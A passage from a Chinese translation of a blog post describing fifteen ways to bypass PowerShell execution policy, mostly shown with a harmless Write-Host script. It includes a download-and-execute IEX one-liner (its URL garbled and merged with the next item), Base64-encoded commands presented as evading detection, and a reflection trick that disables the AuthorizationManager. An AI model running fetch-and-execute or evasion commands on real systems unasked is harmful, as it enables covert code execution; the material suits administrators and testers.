我肯定還有很多的技術漏了（或者我根本不知道），但希望這篇文章將給需要它的人提供壹個良好的開端。
什麽是PowerShell Execution Policy?
PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下，它是“ Restricted ”(限制)的。然而，這個設置從來沒有算是壹種安全控制。相反，它會阻礙管理員操作。這就是為什麽我們有這麽多繞過它的方法。包括壹些微軟提供的。更多關於在PowerShell執行政策設置，默認的安全控制的設置。我建議閱讀Carlos Perez的 博客 。他提供了壹個很好的概述。
為什麽要繞過執行政策？
我聽到的最多的原因是因為人們希望實現自動化操作，但下面還有壹些其他原因致使PowerShell在管理員、滲透測試員、黑客們手中如此流行：
支持Windows
能調用Windows API
能在不寫入磁盤的情況下運行命令
能避免病毒的檢測
總是被標記為"信任"。是大部分應用程序的白名單壹員。
曾寫出過許多的開源滲透測試工具包
如何查看Execution Policy
在能夠使用所有完美功能的PowerShell之前，攻擊者可以繞過“Restricted”(限制)execution
policy。妳可以通過PowerShell命令“executionpolicy“看看當前的配置。如果妳第壹次看它的設置可能設置為
“Restricted”(限制)，如下圖所示
PS C:> Get-ExecutionPolicy
同樣值得註意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
實驗環境說明
在下面的例子中我將使用壹個名為runme.ps1的腳本，它將包含以下PowerShell命令來寫出壹個消息到控制臺：
Write-Host "My voice is my passport, verify me."
當我試圖在壹個帶有默認execution policy的系統上執行它時，我得到以下錯誤：
如果妳目前的execution
policy是開放的，妳想讓它更嚴格的測試，下面的技巧，然後從管理員PowerShell控制臺運行命令“Set-ExecutionPolicy
Restricted”。OK，那我接著BB了，接下來我會通過15種方法來繞過PowerShell execution policy的限制。
繞過PowerShell Execution Policy
1. 把腳本直接粘貼到交互式的PowerShell控制臺
復制並粘貼妳的PowerShell腳本為壹個交互式控制臺如下圖所示。但是，請記住，妳將被當前用戶權限限制。這是最基本的例子，當妳有壹個交互控制臺時，可以方便快速地運行腳本。此外，這種技術不會更改配置或需要寫入磁盤。
2. Echo腳本並PowerShell的標準輸入
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3. 從文件中讀取腳本並通過PowerShell的標準輸入
使用Windows的"type"命令或PowerShell的"Get-Content"命令來從磁盤讀取妳的腳本並輸入到標準的
PowerShell中，這種技術不會導致配置文件的更改，但是需要寫入磁盤。然而，如果妳想試圖避免寫到磁盤，妳可以從網絡上讀取妳的腳本。
例1:Get-Content Powershell命令
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
TYPE .runme.ps1 | PowerShell.exe -noprofile -
4. 從網絡上下載腳本並通過IEX執行它
這種技術可以用來從網上下載壹個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。我已經看到它有許多創造性的使用方法，但最近看到它被引用到壹個不錯的Matt Graeber的PowerSploit博客上。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('mand "Write-Host 'My voice is my passport, verify me.'"
例2:簡短的命令
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
6. 使用EncodeCommand
這和使用"Command"命令非常像，但它為所有的腳本提供了壹個Unicode /
Base64編碼串。通過這種方式加密妳的腳本可以幫妳繞過所有通過"Command"執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁
盤。下面的示例來自 Posh-SecMod。
例1: 完整的命令
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
例2: 通過簡短的命令使用編碼串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7. 使用Invoke-Command命令
我在obscuresec的博客看到了這種有趣的方法。這是壹個典型的通過交互式PowerShell控制臺執行的方法。但最酷的是當PowerShell遠程處理開啟時我可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
基於obscuresec博客，下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8. 使用Invoke-Expression命令
這是另壹個典型的通過交互式PowerShell控制臺執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了壹些常用的方法來通過Invoke-Expression繞過execution policy。
例1：使用Get-Content的完整命令
Get-Content .runme.ps1 | Invoke-Expression
例2：使用Get-Content的簡短的命令
GC .runme.ps1 | iex
9.使用"Bypass"標記Execution Policy
當妳通過腳本文件執行命令的時候這是壹個很好的繞過execution policy的方法。當妳使用這個標記的時候"沒有任何東西被阻止，沒有任何警告或提示"。這種技術不會導致配置更改或要求寫入磁盤。
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
10. 使用"Unrestricted"標記Execution Policy
這類似於"Bypass"標記。當妳使用這個標記的時候,它會"加載所有的配置文件並運行所有的腳本。如果妳運行從網上下載的壹個未被簽名的腳本，它會提示妳需要權限",這種技術不會導致配置的更改或要求寫入磁盤。
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
11. 使用 "Remote-Signed"標記Execution Policy
創建妳的腳本，然後按照教程的操作。最後，使用下面的命令運行它：
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. 通過交換AuthorizationManager禁用ExecutionPolicy
這真是壹個我碰到的來自http://www.nivot.org的創意。下面的函數可以通過壹個交互式的PowerShell來執行。壹旦函數
被調用"AuthorizationManager"就會被替換成空。最終結果是，接下來的會話基本上不受execution
policy的限制。然而，它的變化將被應用於會話的持續時間。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1
13. 把ExcutionPolicy設置成Process Scope
正如我們在引言中所看到的，執行策略可以應用於多層次的。這包括妳控制的過程。使用這種技術，執行策略可以被設置為您的會話的持續時間不受限制。此外，它不會導致在配置更改，或需要寫入到磁盤。我最初發現這種技術來自r007break博客。
Set-ExecutionPolicy Bypass -Scope Process
14. 通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外，它不會導致在配置更改，或需要寫入到磁盤。我最初發現這種技術來自r007break博客。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15. 通過註冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中，我展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
總結
我覺得這裏的主題是：使用的execution policy不壹定是開發商，管理員，或者。微軟從來沒有打算將它成為壹個安全控制。這就是為什麽有這麽多選擇繞過它。微軟很好地提供了壹些本地選項和安全社區也拿出壹些真正有趣的把戲。